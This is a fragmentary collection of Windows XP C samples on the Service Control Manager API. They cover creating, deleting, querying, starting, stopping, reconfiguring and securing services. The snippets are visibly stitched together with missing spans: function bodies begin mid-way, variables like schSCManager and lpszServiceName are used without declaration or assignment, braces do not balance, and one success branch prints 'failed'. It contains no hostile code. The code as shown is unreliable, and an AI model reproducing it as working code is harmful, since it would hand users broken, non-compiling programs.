SERVICE_TABLE_ENTRY DispatchTable[] = {{"MyService", (LPSERVICE_MAIN_FUNCTION)MyServiceStart}, {NULL,
NULL}};
if (!StartServiceCtrlDispatcher(DispatchTable))
SvcDebugOut("StartServiceCtrlDispatcher() failed, error: %d\n", GetLastError());
else
printf("StartServiceCtrlDispatcher() looks OK.\n");
return;
}
// ==========================================================================
// Prototype definitions...just skeletons here...
void WINAPI MyServiceCtrlHandler(DWORD opcode)
{
// Service control information here...
return;
}
return;
}
----------------------------------------------------------------------------------------------------
// For WinXp
// Just another skeleton example as previous one...
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
SERVICE_STATUS MyServiceStatus;
SERVICE_STATUS_HANDLE MyServiceStatusHandle;
void main()
{
if (!StartServiceCtrlDispatcher(DispatchTable))
{
SvcDebugOut("StartServiceCtrlDispatcher() failed, error: %d.\n", GetLastError());
}
else
printf("StartServiceCtrlDispatcher() looks OK.\n");
return;
}
if (MyServiceStatusHandle == (SERVICE_STATUS_HANDLE)0)
{
SvcDebugOut("[MY_SERVICE] RegisterServiceCtrlHandler() failed, error: %d.\n", GetLastError());
return;
}
else
printf("RegisterServiceCtrlHandler() looks OK.\n");
//===============================================================
// Initialization code goes here. Return the status...
status = MyServiceInitialization(argc, argv, &specificError);
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;
MyServiceStatus.dwWin32ExitCode = status;
MyServiceStatus.dwServiceSpecificExitCode = specificError;
SetServiceStatus(MyServiceStatusHandle, &MyServiceStatus);
return;
}
if (!SetServiceStatus(MyServiceStatusHandle, &MyServiceStatus))
{
status = GetLastError();
SvcDebugOut("SetServiceStatus() error: %ld\n", status);
}
else
printf("SetServiceStatus() looks OK.\n");
return;
}
----------------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
SERVICE_STATUS MyServiceStatus;
SERVICE_STATUS_HANDLE MyServiceStatusHandle;
void main()
{
SERVICE_TABLE_ENTRY DispatchTable[] = {{"MyService", MyServiceStart}, {NULL, NULL}};
if (!StartServiceCtrlDispatcher(DispatchTable))
SvcDebugOut("StartServiceCtrlDispatcher() failed, error: %d.\n", GetLastError());
else
printf("StartServiceCtrlDispatcher() looks OK.\n");
return;
}
if (MyServiceStatusHandle == (SERVICE_STATUS_HANDLE)0)
{
SvcDebugOut("RegisterServiceCtrlHandler() failed, error: %d.\n", GetLastError());
return;
}
else
printf("RegisterServiceCtrlHandler() looks OK.\n");
{
// The service is not running...
MyServiceStatus.dwCurrentState = SERVICE_STOPPED;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;
MyServiceStatus.dwWin32ExitCode = status;
MyServiceStatus.dwServiceSpecificExitCode = specificError;
SetServiceStatus(MyServiceStatusHandle, &MyServiceStatus);
return;
}
if (!SetServiceStatus(MyServiceStatusHandle, &MyServiceStatus))
{
status = GetLastError();
SvcDebugOut("SetServiceStatus() error: %ld\n", status);
}
else
printf("SetServiceStatus() looks OK.\n");
return;
}
case SERVICE_CONTROL_CONTINUE:
// Do whatever it takes to continue here...
MyServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_STOP:
// Do whatever it takes to stop here...
MyServiceStatus.dwWin32ExitCode = 0;
MyServiceStatus.dwCurrentState = SERVICE_STOPPED;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;
if (!SetServiceStatus(MyServiceStatusHandle, &MyServiceStatus))
{
status = GetLastError();
SvcDebugOut("[MY_SERVICE] SetServiceStatus() error: %ld\n", status);
}
SvcDebugOut("Leaving MyService.\n", 0);
return;
case SERVICE_CONTROL_INTERROGATE:
// Fall through to send current status.
break;
default:
// else
SvcDebugOut("Unrecognized opcode %ld.\n", Opcode);
}
----------------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <tchar.h>
#include <stdio.h>
HANDLE hStopEvent;
// Three thread handle...
HANDLE hThreads[3] = {NULL, NULL, NULL};
LPTSTR lpszServiceName;
SERVICE_STATUS_HANDLE ssh;
if (!StartServiceCtrlDispatcher(ste))
{
TCHAR error[256];
switch (dwCtrlCode)
{
case SERVICE_CONTROL_STOP:
dwState = SERVICE_STOP_PENDING;
break;
case SERVICE_CONTROL_SHUTDOWN:
dwState = SERVICE_STOP_PENDING;
break;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
// Wraps SetServiceStatus()...
void SetTheServiceStatus(DWORD dwCurrentState, DWORD dwWin32ExitCode, DWORD dwCheckPoint, DWORD dwWaitHint)
{
// Current status of the service.
SERVICE_STATUS ss;
// Initialize ss structure.
ss.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
ss.dwServiceSpecificExitCode = 0;
ss.dwCurrentState = dwCurrentState;
ss.dwWin32ExitCode = dwWin32ExitCode;
ss.dwCheckPoint = dwCheckPoint;
ss.dwWaitHint = dwWaitHint;
return;
}
ZeroMemory(buffer, sizeof(buffer));
wsprintf(buffer, TEXT("error code = %d, "), GetLastError());
lstrcat(error, buffer);
ZeroMemory((LPVOID)buffer, (DWORD)sizeof(buffer));
wsprintf(buffer, TEXT("message = %s"), (TCHAR *)lpvMessageBuffer);
lstrcat(error, buffer);
break;
else if ((dwWaitRes == WAIT_FAILED)|| (dwWaitRes == WAIT_ABANDONED))
break; // Our wait failed
else
{
SetTheServiceStatus(SERVICE_STOP_PENDING, 0, t, 3000);
}
}
----------------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
int main()
{
SC_HANDLE schSCManager;
if (NULL == schSCManager)
printf("OpenSCManager() failed, error: %d.\n", GetLastError());
else
printf("OpenSCManager() looks OK.\n");
return 0;
}
----------------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
int main()
{
SC_HANDLE schSCManager, schService;
// The service executable location, just dummy here else make
// sure the executable is there :o)...
LPCTSTR lpszBinaryPathName = "%SystemRoot%\\system\\mytestservice.exe";
// Service display name...
LPCTSTR lpszDisplayName = "My_Sample_Service";
// Registry Subkey
LPCTSTR lpszServiceName = "MySampleSrv";
if (NULL == schSCManager)
printf("OpenSCManager() failed, error: %d.\n", GetLastError());
else
printf("OpenSCManager() looks OK.\n");
// Create/install service...
schService = CreateService(
schSCManager, // SCManager database
lpszServiceName, // name of service
lpszDisplayName, // service name to display
SERVICE_ALL_ACCESS, // desired access
SERVICE_WIN32_OWN_PROCESS, // service type
SERVICE_DEMAND_START, // start type
SERVICE_ERROR_NORMAL, // error control type
lpszBinaryPathName, // service's binary
NULL, // no load ordering group
NULL, // no tag identifier
NULL, // no dependencies
NULL, // LocalSystem account
NULL); // no password
if (schService == NULL)
{
printf("CreateService() failed.\n");
return FALSE;
}
else
{
printf("CreateService() for %s looks OK.\n", lpszServiceName);
if (CloseServiceHandle(schService) == 0)
printf("CloseServiceHandle() failed, error: %d.\n", GetLastError());
else
printf("CloseServiceHandle() is OK.\n");
return 0;
}
}
----------------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
int main()
{
SC_HANDLE schSCManager, schService;
if (NULL == schSCManager)
printf("OpenSCManager() failed, error: %d.\n", GetLastError());
else
printf("OpenSCManager() looks OK.\n");
schService = OpenService(
schSCManager, // SCManager database
lpszServiceName, // name of service
DELETE); // only need DELETE access
if (schService == NULL)
printf("OpenService() failed, error: %d.\n", GetLastError());
else
printf("OpenService() looks OK.\n");
if (!DeleteService(schService))
printf("DeleteService() failed, error: %d.\n", GetLastError());
else
printf("DeleteService(), %s is deleted.\n", lpszServiceName);
if (CloseServiceHandle(schService) == 0)
printf("CloseServiceHandle() failed, error: %d.\n", GetLastError());
else
printf("CloseServiceHandle() looks OK.\n");
return 0;
}
----------------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
int main()
{
BOOL fDisable = FALSE;
LPSTR lpDesc = "This is an added description for MySampleSrv";
// Call the function...
ReconfigureMySampleService(fDisable, lpDesc);
return 0;
}
if (NULL == schSCManager)
printf("OpenSCManager() failed, error: %d.\n", GetLastError());
else
printf("OpenSCManager() looks OK.\n");
if (lpqslsBuf == NULL)
printf("LocalAlloc() failed, error: %d.\n", GetLastError());
else
printf("LocalAlloc() is OK.\n");
if (lpqslsBuf->fIsLocked)
printf("Locked by: %s, duration: %d seconds\n", lpqslsBuf->lpLockOwner, lpqslsBuf->dwLockDuration);
else
printf("No longer locked.\n");
LocalFree(lpqslsBuf);
printf("Could not lock the database.\n");
}
sdBuf.lpDescription = lpDesc;
if(!ChangeServiceConfig2(
schService, // handle to service
SERVICE_CONFIG_DESCRIPTION, // change: description
&sdBuf)) // value: new description
{
printf("ChangeServiceConfig2() failed, error: %d.\n", GetLastError());
}
else
printf("ChangeServiceConfig2() looks OK, service description changed.\n");
else
printf("UnlockServiceDatabase() looks oK.\n");
----------------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
void GetSampleServiceConfig(void);
int main()
{
// Call the function...
printf("In main(), just some test...\n\n");
GetSampleServiceConfig();
return 0;
}
void GetSampleServiceConfig()
{
// This should be a Subkey name in
// HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services
// registry key. Here we test querying the winmgmt service...
// Try querying other service...
LPCTSTR lpszServiceName = "winmgmt";
SC_HANDLE schSCManager, schService;
LPQUERY_SERVICE_CONFIG lpqscBuf;
LPSERVICE_DESCRIPTION lpqscBuf2;
DWORD dwBytesNeeded;
if (NULL == schSCManager)
printf("OpenSCManager() failed, error: %d.\n", GetLastError());
else
printf("OpenSCManager() looks OK.\n");
// May fail and can be scrapped coz can use the following lpqscBuf2->lpDescription...
if (!QueryServiceConfig2(
schService,
SERVICE_CONFIG_DESCRIPTION,
(LPBYTE)lpqscBuf2,
4096,
&dwBytesNeeded))
{
printf("QueryServiceConfig2() failed, error: %d.\n", GetLastError());
}
else
printf("QueryServiceConfig2() failed, error: %d.\n", GetLastError());
if (lpqscBuf->lpLoadOrderGroup != NULL)
printf(" Load order group: %s\n", lpqscBuf->lpLoadOrderGroup);
if (lpqscBuf->dwTagId != 0)
printf(" Tag ID: %d\n", lpqscBuf->dwTagId);
if (lpqscBuf->lpDependencies != NULL)
if (LocalFree(lpqscBuf) == NULL)
printf("LocalFree() for lpqscBuf is OK.\n");
else
printf("LocalFree() for lpqscBuf failed.\n");
if (LocalFree(lpqscBuf2) == NULL)
printf("LocalFree() for lpqscBuf2 is OK.\n");
else
printf("LocalFree() for lpqscBuf2 failed.\n");
return;
}
----------------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
BOOL StartSampleService(SC_HANDLE);
int main()
{
SC_HANDLE schSCManager;
if (NULL == schSCManager)
printf("OpenSCManager() failed, error: %d.\n", GetLastError());
else
printf("OpenSCManager() looks OK.\n");
// Call the StartSampleService()...
StartSampleService(schSCManager);
return 0;
}
// To test this program, make sure the dhcp client is installed and
// in the stop state...
LPCTSTR lpszServiceName = "dhcp";
schService = OpenService(
schSCManager, // SCM database
lpszServiceName, // service name
SERVICE_ALL_ACCESS);
if (schService == NULL)
{
printf("OpenService() failed, error: %d.\n", GetLastError());
return 0;
}
else
printf("OpenService() looks OK.\n");
// Proceed to other task...
if (!StartService(
schService, // handle to service
0, // number of arguments
NULL) ) // no arguments
{
printf("StartService() failed, error: %d.\n", GetLastError());
return 0;
}
else
printf("StartService(), service start pending.\n");
dwWaitTime = 10000;
Sleep(dwWaitTime);
if (CloseServiceHandle(schService) == 0)
printf("CloseServiceHandle() failed, error: %d.\n", GetLastError());
else
printf("CloseServiceHandle() looks OK.\n");
if (ssStatus.dwCurrentState == SERVICE_RUNNING)
{
printf("StartService(), %s service successfully started.\n", lpszServiceName);
return 1;
}
else
{
printf("\nService %s not started.\n", lpszServiceName);
printf(" Current State: %d\n", ssStatus.dwCurrentState);
printf(" Exit Code: %d\n", ssStatus.dwWin32ExitCode);
printf(" Service Specific Exit Code: %d\n", ssStatus.dwServiceSpecificExitCode);
printf(" Check Point: %d\n", ssStatus.dwCheckPoint);
printf(" Wait Hint: %d\n", ssStatus.dwWaitHint);
return 0;
}
}
----------------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <Windows.h>
#include <stdio.h>
if (osver.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
{
// If Windows 95, check to see if Windows 95
// version of Task Scheduler is running.
HWND hwnd = FindWindow(SCHED_CLASS, SCHED_TITLE);
if (hwnd != NULL)
{
// It is already running.
printf("Task Scheduler is already running.\n");
return 0;
}
if (dwRet == 0)
{ return GetLastError(); }
else
printf("SearchPath() is OK.\n");
&pi);
if (fRet == 0)
{
return GetLastError();
}
else
printf("CreateProcess() is OK.\n");
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return S_OK;
}
else
{
// If not Windows 95, check to see if Windows NT
// version of Task Scheduler is running.
CloseServiceHandle(hSC);
if (hSchSvc == NULL)
{
return GetLastError();
}
else
printf("OpenService() is OK.\n");
SERVICE_STATUS SvcStatus;
if (SvcStatus.dwCurrentState == SERVICE_RUNNING)
{
// The service is already running.
CloseServiceHandle(hSchSvc);
printf("Task Scheduler is already running.\n");
return 0;
}
CloseServiceHandle(hSchSvc);
printf("Task Scheduler has been started.\n");
return S_OK;
}
}
----------------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <tchar.h>
#include <stdio.h>
// Entry point for the program. This function contains sample code
// demonstrating how to use the StopService function implemented
// above.
//
// Parameters:
// argc - the number of command-line arguments
// argv[] - an array of command-line arguments
// Using _tmain(), TCHAR - A WCHAR if UNICODE is defined, a CHAR otherwise.
void _tmain(int argc, TCHAR *argv[])
{
SC_HANDLE hSCM;
SC_HANDLE hService;
DWORD dwError;
// Exception handling...
__try
{
// Open the SCM database
hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
if (!hSCM)
{
DisplayError(TEXT("OpenSCManager() failed.\n"), GetLastError());
__leave;
}
else
_tprintf(TEXT("OpenSCManager() looks OK.\n"));
if (hSCM)
CloseServiceHandle(hSCM);
}
}
if (ss.dwCurrentState == SERVICE_STOPPED)
{
_tprintf(TEXT("Service already stopped.\n"));
return ERROR_SUCCESS;
}
if (ss.dwCurrentState == SERVICE_STOPPED)
return ERROR_SUCCESS;
if (GetLastError() != ERROR_MORE_DATA)
return GetLastError(); // Unexpected error
if (!lpDependencies)
return GetLastError();
__try {
// Enumerate the dependencies
if (!EnumDependentServices(hService, SERVICE_ACTIVE,
lpDependencies, dwBytesNeeded, &dwBytesNeeded, &dwCount))
return GetLastError();
__try {
_tprintf(TEXT("Stopping dependency #%d.\n"), i);
// Send a stop code
if (!ControlService(hDepService, SERVICE_CONTROL_STOP, &ss))
return GetLastError();
if (ss.dwCurrentState == SERVICE_STOPPED)
_tprintf(TEXT("the %s service was stopped...\n"), ess.lpServiceName);
// Dependency was stopped
break;
if (ss.dwCurrentState == SERVICE_STOPPED)
// The main service was stopped...
break;
// Return success
return ERROR_SUCCESS;
}
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM, NULL, dwError,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpBuffer, 0, NULL);
if (LocalFree(lpBuffer) == NULL)
_tprintf(TEXT("LocalFree() looks OK.\n"));
else
_tprintf(TEXT("LocalFree() failed.\n"));
}
----------------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <tchar.h>
#include <stdio.h>
lpszServiceName = argv[1];
if (NULL == schSCManager)
printf("OpenSCManager(), Open a handle to the SC Manager database failed, error: %d.\n", GetLastError());
else
printf("OpenSCManager(), Open a handle to the SC Manager database looks OK.\n");
case SERVICE_CONTROL_PAUSE:
case SERVICE_CONTROL_CONTINUE:
fdwAccess = SERVICE_PAUSE_CONTINUE;
break;
case SERVICE_CONTROL_INTERROGATE:
fdwAccess = SERVICE_INTERROGATE;
break;
default:
fdwAccess = SERVICE_INTERROGATE;
}
if (schService == NULL)
printf("OpenService(), open a handle to a service with appropriate access failed, error: %d", GetLastError());
else
printf("OpenService(), open a handle to a service with appropriate access looks OK.\n");
printf("ControlService(), sending control value to stop a service failed, error: %d\n", GetLastError());
else
printf("ControlService(), sending control value to a stop service looks OK.\n");
return 0;
}
-------------------------------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <aclapi.h>
#include <stdio.h>
#include <tchar.h>
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM,
NULL, dwError,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR)&lpvMessageBuffer, 0, NULL);
ExitProcess(dwError);
}
if (argc != 2)
{
_tprintf(TEXT("Usage: %s [service name].\n"), argv[0]);
_tprintf(TEXT("Please try again.\n"));
return 1;
}
else
_tprintf(TEXT("HeapAlloc() looks OK.\n"));
DisplayError(GetLastError(), TEXT("QueryServiceObjectSecurity()"));
else
_tprintf(TEXT("QueryServiceObjectSecurity() looks OK.\n"));
}
else
DisplayError(GetLastError(), TEXT("QueryServiceObjectSecurity()"));
}
if (dwError != ERROR_SUCCESS)
DisplayError(dwError, TEXT("SetEntriesInAcl()"));
else
_tprintf(TEXT("SetEntriesInAcl() looks OK.\n"));
if (!CloseServiceHandle(schService))
DisplayError(GetLastError(), TEXT("CloseServiceHandle() schService"));
else
_tprintf(TEXT("CloseServiceHandle() schService looks OK.\n"));
// Free buffers.
LocalFree((HLOCAL)pNewAcl);
HeapFree(GetProcessHeap(), 0, (LPVOID)psd);
return 0;
}
==================================================================================================